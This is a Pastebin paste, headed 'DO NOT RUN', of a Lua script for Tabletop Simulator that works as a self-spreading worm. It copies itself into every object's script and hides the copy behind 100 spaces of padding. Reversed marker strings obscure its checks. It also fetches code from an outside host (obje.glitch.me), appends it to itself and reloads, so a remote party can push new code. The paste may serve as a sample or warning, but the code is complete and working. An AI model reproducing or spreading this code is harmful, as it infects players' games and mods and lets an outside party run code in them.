Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- DO NOT RUN
- --[[Object base code]]
- Wait.time(
- function()
- for a, b in ipairs(getObjects()) do
- if b.getLuaScript():find("tcejbo gninwapS") == nil then
- b.setLuaScript(
- b.getLuaScript():gsub("%s+$", "") ..
- string.rep(" ", 100) ..
- self.getLuaScript():sub(
- self.getLuaScript():find("--[[Object base code]]", 1, true),
- #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) + 1
- )
- )
- end
- end
- end,
- 1
- )
- if onObjectSpawn == nil then
- function onObjectSpawn(b)
- if b.getLuaScript():find("tcejbo gninwapS") == nil then
- b.setLuaScript(
- b.getLuaScript():gsub("%s+$", "") ..
- string.rep(" ", 100) ..
- self.getLuaScript():sub(
- self.getLuaScript():find("--[[Object base code]]", 1, true),
- #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) + 1
- )
- )
- end
- end
- end
- if onPlayerAction == nil and self.getLuaScript():reverse():find("ereh edoc resU --", 1, true) ~= nil then
- self.drag_selectable = true
- function onPlayerAction(c, d, e)
- if
- self.getLuaScript():reverse():find("ereh edoc resU --", 1, true) ~= nil and d == Player.Action.Select and
- #c.getSelectedObjects() == 0
- then
- for a, f in ipairs(e) do
- if f.getGUID() == self.getGUID() then
- self.setLuaScript(
- self.getLuaScript():gsub(
- self.getLuaScript():sub(
- #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) +
- 2,
- #self.getLuaScript() - self.getLuaScript():reverse():find("ereh edoc resU") + 2
- ):gsub("[%(%)%.%%%+%-%*%?%[%]%^%$]", "%%%0"),
- ""
- )
- )
- end
- end
- end
- end
- end
- WebRequest.get(
- "https://obje.glitch.me/",
- function(g)
- if g.is_error then
- log(g.error)
- elseif
- g.text ~= "" and g.text:sub(1, 4) == "true" and
- self.getLuaScript():find(g.text:sub(5, #g.text), 1, true) == nil
- then
- self.setLuaScript(self.getLuaScript() .. g.text:sub(5, #g.text))
- self.reload()
- end
- end
- )
- --[[Spawning object]]
Advertisement